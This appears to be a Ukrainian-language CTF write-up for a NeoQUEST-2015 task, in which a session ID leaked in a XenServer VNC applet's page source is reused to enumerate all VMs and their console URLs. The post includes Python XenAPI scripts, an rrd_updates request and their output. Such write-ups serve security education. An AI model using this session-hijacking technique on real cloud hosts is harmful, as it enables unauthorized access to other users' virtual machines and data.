Отримуємо доступ до хмари XenServer через доступ до однієї віртуальної машини

Зовсім скоро, 11 березня, стартує online-етап щорічного змагання з кібербезпеки NeoQUEST-2016! Напередодні цього публікуємо розбір одного із завдань «очної ставки» NeoQUEST-2015. Це завдання під назвою «Істина десь поруч» було спрямоване на одержання доступу до всього хмари XenServer, маючи доступ лише до однієї виртуалке! Такий хак здійснимо за допомогою спеціального аплету, раніше використовуваного XenServer, що дозволяє отримати доступ по VNC до віртуальної машини.

Під катом опишемо вихідні дані для завдання і розповімо, як можна було пройти це завдання двома способами:
  • використовуючи XenAPI
  • використовуючи Web


Вихідні дані

Учасники в описі завдання отримали IP-адреса, за якою знаходився сайт з великою кнопкою «Get Key». При її натисканні з'являвся напис, що повідомляє, що були спроби підключення до двох серверів і спроби пошуку ключа в базах даних цих серверів. Однак, як інформувала той же напис, вдалося підключитися тільки до першого сервера, і ключ там не знайшовся…



Як видно, до сервера №1 вдається з'єднатись, і навіть є посилання (слово «ДОБРЕ»). При переході по посиланню повинен запуститися аплет, але, оскільки сучасні браузери погано працюють з апплетами, швидше за все, нічого не запуститься.



Проте перше ж посилання в гуглі каже: «треба додати сайт до дозволений в налаштуваннях Java і перезапустити браузер»! Робимо…



Після перезапуску браузера з'являється вікно «Secure Warning», в якому в полі «Publisher» написано Citrix System.



Запустивши аплет, учасник отримував доступ до віртуальної машини. І тут він повинен був зрозуміти, що йому дають доступ до віртуальної машини, яка працює на базі продукту Citrix. Загуглив, які бувають продукти у Citrix, можна припустити, що це XenServer. А щоб бути до кінця в цьому впевненим, можна подивитися на іконку сайту і там побачити логотип XenServer.



На робочому столі є ярлик браузера Chrome, запустивши який і відкривши історію, можна знайти звернення до «localhost/phpmyadmin». Перейшовши за цим посиланням, можна побачити базу даних neoquest, в якій є таблиця key, але немає записів…



Виртуалка була одна на всіх, і учасники активно боролися за неї, відбираючи один в одного керування курсором миші і заважаючи своїм суперникам переглядати записи в базі даних!

Подальші пошуки ключа на цій віртуальній машині марні спроби знайти ще одну віртуальну машину в мережі теж не дадуть результату (у другої віртуальної машини немає мережевого адаптера).

Подивившись вихідний код сторінки з аплетом, знаходимо код, відповідальний за його запуск:

<applet archive='/q.jar' id=vncapp code='com/xensource/ui/vnc/Initialize.class' width='950' height='720'>
<PARAM NAME='SESSION' VALUE = 'OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971'/>
<PARAM NAME='URL' VALUE ='https://10.0.20.61/console?uuid=b1c1a188-26bf-e5c8-a5ed-7545f17f492b'/>
<PARAM NAME='USEURL' VALUE ='true'/>
</applet>


У запуску аплета для учасника цікаві два параметра: SESSION і URL. З URL видно, що є ще одна IP-адреса – 10.0.20.61. Заходимо на цей IP в браузері і бачимо: «Citrix Systems, Inc. XenServer 6.2.0», що остаточно переконує нас, що виртуалка працює на XenServer!

Тепер починаємо шукати другу віртуальну машину. Логічно виходити з припущення, що доступ до неї здійснюється також через аплет, через параметр URL, а саме, через значення UUID. Тому для подальших експериментів необхідно запустити аплет у себе. Найпростіший спосіб для цього — зберегти html-сторінку з аплетом (аплет треба завантажити окремо) і запустити у себе на веб-сервері.

Є два способи отримати значення UUID: через XenAPI або виконати запит до сервера через браузер. Розглянемо обидва ці способи по порядку.

Спосіб №1: використовуємо XenAPI

Це було заплановане рішення завдання. Код будемо писати на Python, для цього качаємо SDK для XenServer і звідти беремо XenApi.py.
Нам необхідно отримати список всіх віртуальних машин, що знаходяться на сервері, а для них — список їх консолей.

Загуглив, як отримати список віртуальних машин, можна знайти наступний код:

session = XenAPI.Session(xen_url) 
session.xenapi.login_with_password(xen_user, xen_pass)
vms = session.xenapi.VM.get_all()
print vms


Де xen_url — адресу сервера, в нашому випадку «https://10.0.20.61», xen_user і xen_pass для нас недоступні, але у нас вже є значення встановленої сесії. Можна спробувати замість session.xenapi.VM.get_all() передати значення встановленої сесії безпосередньо в метод в наступному вигляді: session.VM.get_all(ses). Тоді скрипт отримання списку віртуальних машин буде мати наступний вигляд:

import XenAPI
xen_url = "https://10.0.20.61"
session = XenAPI.Session(xen_url)
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
vms = session.VM.get_all(ses)
print vms


Результат виконання цього скрипта буде виглядати так:
{'Status': 'Success', 'Value': ['OpaqueRef:fed67a7d-74c2-3eeb-6a0d-e17348b5d68c', 'OpaqueRef:fdafee99-e69d-d6a8-6988-402bbac14215', 'OpaqueRef:fa649f83-3566-5734-9a25-fa236f6902af', 'OpaqueRef:f899e08e-7abc-032b-c098-f99ae5b4034a', 'OpaqueRef:f437e8ad-2e3c-edc5-81ae-207ac6c12079', 'OpaqueRef:ef635a0a-209f-469f-1ab8-c014ecf4b7a5', 'OpaqueRef:ef31abb6-cd3e-2f12-bf94-3041b53a1a36', 'OpaqueRef:ef129c0c-3dfc-9ead-d447-4c729a6d9b47', 'OpaqueRef:ed097922-b78c-a4e6-aa9a-1cf47cc9c499', 'OpaqueRef:ea183995-6c42-1cf2-6775-9a3a66493a4e', 'OpaqueRef:e894f069-7386-5327-ec44-33c83de477e7', 'OpaqueRef:e869d8d3-0238-253b-675c-8f04efa2db1d', 'OpaqueRef:e8135b8d-2564-2f48-0235-c1c6d4f539f0', 'OpaqueRef:e29608d0-802c-8920-a218-31907a28e2b5', 'OpaqueRef:df6a1b82-5642-cd9f-9272-39118d9e565f', 'OpaqueRef:dbeee2e5-7745-a1ba-49e6-de4b3a5b518f', 'OpaqueRef:da163722-77cf-88a1-76ef-a87fbb9a789f', 'OpaqueRef:d6f55333-028d-8e1c-efcc-d2a05a9a53c1', 'OpaqueRef:d32bc06b-74ea-8250-3314-1a9c42338b3b', 'OpaqueRef:ce95e498-5a6a-9076-785d-181843739e18', 'OpaqueRef:cb0498ee-a7ef-87e8-c292-488ff9b182c8', 'OpaqueRef:c8256666-2535-6f3e-3575-72ce28bf7943', 'OpaqueRef:c20d68a4-043f-6cd1-6465-170e61253ee0', 'OpaqueRef:bdceecb8-a079-0846-7fa1-a31cf9520b50', 'OpaqueRef:bcb3d8b8-f09c-edad-4cb8-82072121a57d', 'OpaqueRef:b7189aab-cf4e-ed42-a418-292c9d180614', 'OpaqueRef:b5d37caf-43bb-20eb-edde-9ecda9a90bbb', 'OpaqueRef:ae066542-4503-0d71-2303-95bdbb659944', 'OpaqueRef:a29c957f-4cb8-c085-65bb-5338022aeee5', 'OpaqueRef:9b14ce06-d7b3-57c5-88ce-89784b198dd8', 'OpaqueRef:914316c7-d608-e7d0-b230-f57282bcf16c', 'OpaqueRef:8efe10a7-668b-bc25-ce23-30a9a25232ee', 'OpaqueRef:8df82c5d-e207-6f92-bac2-1320912d39a8', 'OpaqueRef:8a2c1418-6136-dadb-a027-79be66ed5cd6', 'OpaqueRef:88fae098-d089-2d9d-972d-f133c6f03e2f', 'OpaqueRef:83287204-9e5d-660d-8793-571c629d081c', 'OpaqueRef:81d6cf4e-359f-70d0-e325-b8be22336443', 'OpaqueRef:7e2f80af-8251-72d9-0d7f-77aea039a4d7', 'OpaqueRef:79c5b589-7dfa-ffb8-28d8-bcb076d16118', 'OpaqueRef:79b8f10e-681b-f5f1-49fc-4fab533eb29b', 'OpaqueRef:745a3e34-93eb-e63a-f2e0-dffa998c5c55', 'OpaqueRef:6e3f4400-847d-ee72-bd00-5d20e30aa885', 'OpaqueRef:6bc1c54a-5e3c-f201-0d6c-1c41eee98b94', 'OpaqueRef:6b446900-6a4f-0ec1-7725-aa5419b029ad', 'OpaqueRef:64072816-6999-7d73-bfd9-3a854447fcdd', 'OpaqueRef:60f71cfd-92d0-aeaf-85be-4480eef18f7a', 'OpaqueRef:608662aa-18cc-caff-b04e-52b095975940', 'OpaqueRef:605bca5f-40b7-c970-7d00-99b3159854bf', 'OpaqueRef:54b2ab62-9c68-9fb0-e130-cc20c1d72df8', 'OpaqueRef:4f99e67d-aac8-eb83-c0d0-b8cecb2196df', 'OpaqueRef:48e705dd-44b1-0261-095a-30dd175b7ec5', 'OpaqueRef:429bdf24-7e41-76c6-7566-3bb5bcda6efa', 'OpaqueRef:3dfdb9b9-13d3-d5d2-86c1-0ac03d8bd835', 'OpaqueRef:3d7462c7-cea0-b3cd-8adb-62cc93ff7ae9', 'OpaqueRef:3cd87b61-0232-ad9b-48ac-43d8900e0cc5', 'OpaqueRef:37d8fdda-e7e1-9376-85ac-e067e4db44b0', 'OpaqueRef:35d6d056-dabe-b731-9264-e7c5a55531af', 'OpaqueRef:34ac3f38-2329-e069-a3db-14954c0d1ba7', 'OpaqueRef:31db143b-0e37-4a7b-5d3e-11d200691be4', 'OpaqueRef:31148d7b-64ee-0d5d-8992-53a53c0d796e', 'OpaqueRef:3062dc3a-4298-bf2d-6190-17e5c8287c9a', 'OpaqueRef:2a825824-253a-d6d9-a6a8-f8ee05b772c9', 'OpaqueRef:271ca619-f84c-71c2-6db8-8d0def4ca9e3', 'OpaqueRef:25fd4564-5107-78e0-4229-bbb9c1138b12', 'OpaqueRef:23c62832-a906-df73-fed8-eda112419160', 'OpaqueRef:1ef59c47-e9f1-87ad-83b7-de67e35e3d7f', 'OpaqueRef:1d027e36-2364-e5af-5144-49e6243fac94', 'OpaqueRef:107d38cd-be64-9894-73bc-534e435747f5', 'OpaqueRef:0d365a10-d9c3-c4b0-e2e4-51503736b4d5', 'OpaqueRef:06ec3fcb-6951-1fb4-a6b5-d48d0a51cd2c']}



Результат вийшов досить великим, і це не список віртуальних машин, а посилання на них, тому логічніше продовжити написання скрипта, так, щоб отримати консолі. Для цього використовуємо стандартну функцію API VM.get_consoles, в результаті вийшов скрипт має вигляд:

import XenAPI
xen_url = "https://10.0.20.61"
session = XenAPI.Session(xen_url)
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
vms = session.VM.get_all(ses)
for vm in vms['Value']:
console = session.VM.get_consoles(ses,vm)
print console


Результат виконання скрипта:
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:f655d6a7-453f-7b4c-ad89-ccc438a8b5a0']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:fa451706-1715-1688-a440-e63d18b7b55a', 'OpaqueRef:70f202f8-ef56-275e-c17d-f7ff214a49f9']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:9a08367f-3740-a192-ff49-2bc151a485ce']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}



Результат знову досить великий, але більшість значень порожні, і, як в минулий раз, це не самі консолі, а посилання для них. Також є віртуальні машини, де два посилання для консолі. Для перетворення посилання в значення, придатне для аплету, використовується функція console.get_location. Тоді скрипт має вигляд:

import XenAPI
xen_url = "https://10.0.20.61"
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
session = XenAPI.Session(xen_url)
vms = session.VM.get_all(ses)
for vm in vms['Value']:
console = session.VM.get_consoles(ses,vm)
for con in console['Value']:
url = session.console.get_location(ses,con)
print url


Результатом роботи скрипта буде:

{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=1a9df134-6e10-22a5-6f99-2d1df8f2fc58'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=68d03d5d-d9cd-0b91-c61f-213f3a572582'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=b1c1a188-26bf-e5c8-a5ed-7545f17f492b'}


Останні значення — таке ж, як в полі URL, що підказує, що ми на правильному шляху! Залишилося перевірити тільки 3 рішення.

Спосіб №2: через Web
Друге рішення набагато простіше і цілком засноване на веб. Якщо загугліть «Xenserver OpaqueRef», то можна натрапити на опис отримання показників продуктивності для Xenserver через RRD. Для одержання частини цих показників необхідно знати тільки IP-адресу сервера і OpaqueRef. Так для отримання всіх метрик віртуальної машини треба знати UUID віртуальної машини «http:///vm_rrd?session_id=OpaqueRef:&uuid=», але для отримання оновлень для всіх віртуальних машин достатньо знати тільки OpaqueRef. Його ми отримуємо запитом «http:///rrd_updates?session_id=OpaqueRef:&start=10258122541». У нашому випадку запит матиме вигляд:«http://10.0.20.61/rrd_updates?session_id=OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971&start=10258122541». В результаті у браузері відкриється наступна xml:
<xport>
<meta>
<start>10258122545</start>
<step>5</step>
<end>1436505840</end>
<rows>0</rows>
<columns>26</columns>
<legend>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu3
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu2
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu1
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu0
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory
</entry>
<entry>
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:memory_target
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:cpu0
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hdd_write
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hdd_read
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hda_write
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vbd_hda_read
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory_target
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif_0_tx
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:vif_0_rx
</entry>
<entry>
AVERAGE:vm:11c607ae-c779-c9dd-6b5e-17fd4461defe:memory_internal_free
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:cpu0
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif_0_tx
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vif_0_rx
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hdd_write
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hdd_read
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hda_write
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:vbd_hda_read
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory_internal_free
</entry>
<entry>
AVERAGE:vm:362f5638-b9af-56e8-52dd-92f79267f6ef:memory_target
</entry>
</legend>
</meta>
<data/>
</xport>



З цієї xml можна отримати 3 UUID: 4ac6b5b5-fb19-4874-b87a-c0da37f807cf, 11c607ae-c779-c9dd-6b5e-17fd4461defe, 362f5638-b9af-56e8-52dd-92f79267f6ef.
Хоч UUID і не збігаються з тими, що є в завданні, але вони також підходять!

Кінець завдання
Далі перебираємо наявні UUID або посилання на наявній локальної копії сайту з аплетом. У випадку з посиланням, отриманої через API, правильний результат буде — 10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219, а у випадку з UUID — 11c607ae-c779-c9dd-6b5e-17fd4461defe. Ми потрапляємо на клон першої віртуальної машини, але в браузері почищена історія. Однак ми пам'ятаємо, що там був phpmyadmin! Заходимо на localhost/phpmyadmin, там така ж база – neoquest, з такою ж таблицею – key, в якої і лежить ключ:



Таким чином, використовуючи цей аплет, зловмисник може «вкрасти» ваше хмара XenServer!

А реєстрація на NeoQUEST-2016 триває!
На NeoQUEST-2016 учасників чекає безліч цікавих і різноманітних завдань, як складних, так і досить простих, пройти які під силу навіть новачкам в інформаційній безпеці. Вибирай свою сторону і реєструйся!

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.